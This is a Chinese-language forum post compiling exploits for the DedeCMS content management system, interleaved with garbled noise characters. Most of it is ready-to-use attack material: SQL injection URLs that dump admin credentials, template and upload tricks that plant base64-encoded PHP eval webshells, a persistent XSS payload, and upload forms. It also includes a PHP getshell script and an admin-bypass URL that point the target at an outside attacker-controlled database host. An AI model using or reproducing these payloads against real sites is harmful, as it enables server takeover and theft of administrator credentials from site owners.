dedecms漏洞总结

admin

8 _! q7 p0 Y* N: QDedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1

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" R% J% |% ~1 z% K6 J- a$ zDedeCms v5.6 嵌入恶意代码执行漏洞
$ `; n" D( E, `" Y( |6 V+ C注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。
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1 e$ r; x+ S! C) ~1 P# dDede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7


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: n* x! m9 R$ ?$ F8 Y' Q- fDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
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  T; I- _, [% qDEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

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2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda

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/ ?  s5 t9 G1 A- w6 E0 v1 l9 G  `; V$ zhttp://v57.demo.dedecms.com/dede/login.php

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; R4 W. A- l! k" Z6 x' ~# M, Scolor=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
<?php
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set_time_limit(0);
print_r('
DEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
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echo "\r\n";
# j8 [+ U- t0 r) ]1 z# ?if($argv[2]==null){
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
& Q, d& x3 K2 g; r. k2 L: Iaid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
% {0 Q$ ]. d9 x% d0 T0 hExample:
5 V! ?; }; |( m8 B) s5 a5 sphp '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
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exit;
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$url=$argv[1];
$aid=$argv[2];
0 ^2 i6 [" J/ @  g# {7 r6 z$path=$argv[3];
) r1 ^) b$ t, m" f( @- E$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
$ z2 a2 o. r: m8 j- \) xExploit Success \n";
2 K3 S! p, ]5 b1 J/ Z5 g$ u8 ~if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;

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if($aid==2)echo "
* v8 F/ i" O; L: X+ A0 gShell:".$url."/$path/fuck.php\n" ;
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7 ^! I; O3 J- k" `if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";

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}else{
echo "
Exploit Failed \n";
}
function Getshell($url,$aid,$path){
$id=$aid;
$host=$url;
+ x. M5 L8 u) m$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
) W8 Y9 s% u  a7 P$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
2 W# K( W! c9 M# ]1 w$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
# M" d9 ^6 V( a- Q- B7 e$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
+ N3 F% u( A& p  b. q$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
/ {8 i  o. _3 I: B2 F9 `. j//$data .= "Accept-Encoding: gzip,deflate\r\n";
: K' o& I4 F  X: b$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
3 b; I" Y4 ]( T  Y0 |$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
7 h# y; g3 `9 M( Q, ^8 ]$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
, o  ^1 i2 ^: a/ H9 A3 C8 [$data .= $content."\r\n";
$ock=fsockopen($host,$port);
/ z, C: X# y1 v% r' X9 d7 aif (!$ock) {
echo "
No response from ".$host."\n";
}
9 T  n2 T9 @! p2 G* Y& Z, sfwrite($ock,$data);
% n0 S/ i: k- k1 r. v7 Gwhile (!feof($ock)) {
$exp=fgets($ock, 1024);
return $exp;
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" @" \( g; F" B9 kDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
3 Y2 _! _4 F8 f" C" Q$ R) w& thttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root

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把上面validate=dcug改为当前的验证码，即可直接进入网站后台


此漏洞的前提是必须得到后台路径才能实现


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4 |6 a# F( V) g$ O+ J. R9 DDedecms织梦 标签远程文件写入漏洞
& o  _4 j# @0 a! s前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
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再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
" y5 D/ J2 H& U2 \9 S7 L; [! j# x<form action="" method="post" name="QuickSearch" id="QuickSearch">
! [  @2 d$ j/ f6 Q3 H. {: \<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
8 C8 R( @. p: n4 ?$ S; Q0 H<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
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document.QuickSearch.action=document.QuickSearch.doaction.value;
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</script>
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. _# s% [3 g7 k6 n2 X" A9 L; R3 WDedeCms v5.6 嵌入恶意代码执行漏洞
, D/ O' H6 ?. V) M8 ~7 t: e注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
8 ~3 J+ A8 X2 P- A+ X' Za{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
5 |$ S& t/ h# ?/ R2 s生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
2 Y1 y( @4 M7 e2 muploads/userup/2/12OMX04-15A.jpg
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模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
7 @2 `0 l. {3 j& t; {: _7 [@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
/ Y/ E; {" q$ P1 \% ^" G8 V{/dede:name}
+ F: U- w' g& o2 修改刚刚发表的文章，查看源文件，构造一个表单：
) R2 c6 O, K! a/ Y- t! E4 V. W) p<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
8 p4 B$ h- k- v7 q<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
; x5 h, V/ x* W) |  }4 C& b<input type="hidden" name="channelid" value="1" />
  Z9 W8 I- ?: g$ ?4 T<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />
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1 g( a+ a7 i7 G( `# o# q<div id="mainCp">
' @8 ^) D( z! ~  x* w4 p% f& u& v<h3 class="meTitle"><strong>修改文章</strong></h3>
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<div class="postForm">
<label>标题：</label>
* h$ a6 b1 O2 |7 y, R<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
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<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
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( r1 q# s$ Y5 f3 `! I<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
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/ r5 n( v  R# p* a  g) @<label>隶属栏目：</label>
( ^  x9 @% e5 L7 A% e1 q% c<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
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2 ^6 V8 _0 |: a7 A% v<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>


<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)


<label>缩略图：</label>
# ]. T& D) o( a0 _5 `<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
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" m7 W0 F5 J  T<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>
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<!-- 表单操作区域 -->
* S& G( K. R! t" _  b+ c<h3 class="meTitle">详细内容</h3>
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; S  y' z" x/ n; N9 W0 q/ E4 D4 \<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
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$ w( ]! X! T8 w6 H8 y, Y" Q<label>验证码：</label>
' ~/ w) ?# T7 C9 j0 e  u. p<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
) c/ K% [/ N$ J8 O+ P" x' u<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
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0 C+ z$ k7 j% a9 D5 s<button class="button2" type="submit">提交</button>
1 Z- I! L+ G7 ?* R. S4 r<button class="button2 ml10" type="reset">重置</button>
</div>


</div>
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提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php
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DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
2 G( H  n7 n- g; HGif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
. M# [2 o, d: d4 F6 @5 O<input type="hidden" name="aid" value="7" />
! @3 [5 y, ^* i- w% x- n4 S<input type="hidden" name="mediatype" value="1" />
! U* g+ s4 C, }* w) k; h<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
$ e6 P9 T6 g6 J' F/ {<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
2 P5 f1 d" y0 Q! b<button class="button2" type="submit" >更改</button>
</form>
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构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：
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<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
% Z( `# j9 Z  x" R# J: W+ }<input type="hidden" name="dopost" value="save" />
' W+ o) ]& U; U% \' g" t<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
# T. [, o7 B  d$ M: w<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
' b# L% g1 ^$ Y9 u- Z8 d4 M7 G<input type="hidden" name="sortrank" value="1282049150" />
1 ^0 c2 }9 r6 I0 L& u; L7 o0 I<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
3 N) ?/ G8 ^! F! @! d8 }<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
; u+ f: Q  ]$ {3 V: w) O, C" Q# w<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
6 y4 K6 S: P, R" L' A8 o<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
6 |# r9 @" ~: ~<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
8 \$ K8 {. f1 @/ R2 c# s5 A<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
' F( ]3 e+ |2 V6 ?& B& d: d</form>
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/ L9 D8 k0 u9 K- q织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif


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! F2 w% u" q! y4 w织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
$ @1 L- ]: k6 x$ T8 K0 W# e* thttp://www.test.com/plus/carbuya ... urn&code=../../

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" a- _$ B: d1 ?7 KDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
) m3 s, [2 }; d( w4 }- a: bplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5


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3 ~( l, N0 N8 `+ Q织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
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& _+ N; F) [' w+ i7 O! a5 j织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
<head>
) V8 v% `* V" Z! c) H) D/ e<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
2 ?/ }9 {! H. R# i0 t! _</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
9 V0 a4 K: D5 U, c4 S$ G6 `0 j<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
% F: y) {- y- {. d0 ]9 q. h<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
8 x9 W9 `' X( q+ n# f/ ~3 A/ i<input type='hidden' name='cfg_imgtype' value='php' />
; ?1 Y+ z' V% T$ T<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
! H! r; _2 W3 d$ j5 {7 g" F2 |+ x<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
8 [( v+ U9 Q9 ^2 \% a! }, M' H</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
# E& @* v: b8 M5 CNeed register_globals = on...<br />
( O. Q* L8 f5 @- g) iFun the game,get a webshell at /data/cache/fly.php...<br />
2 L+ P* U  c6 Z( A</body>
</html>

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利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
+ Z( E7 c  R( g0 E- p' m. [1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
( G9 u9 A7 G5 a* q, v& D8 e5 V可看见错误信息
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/ h1 x* d" M0 j$ u2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>


3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是


9 R/ F) k5 T3 P" T; _$ A$ K<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

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按确定后的看到第2步骤的信息表示文件木马上传成功.

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织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*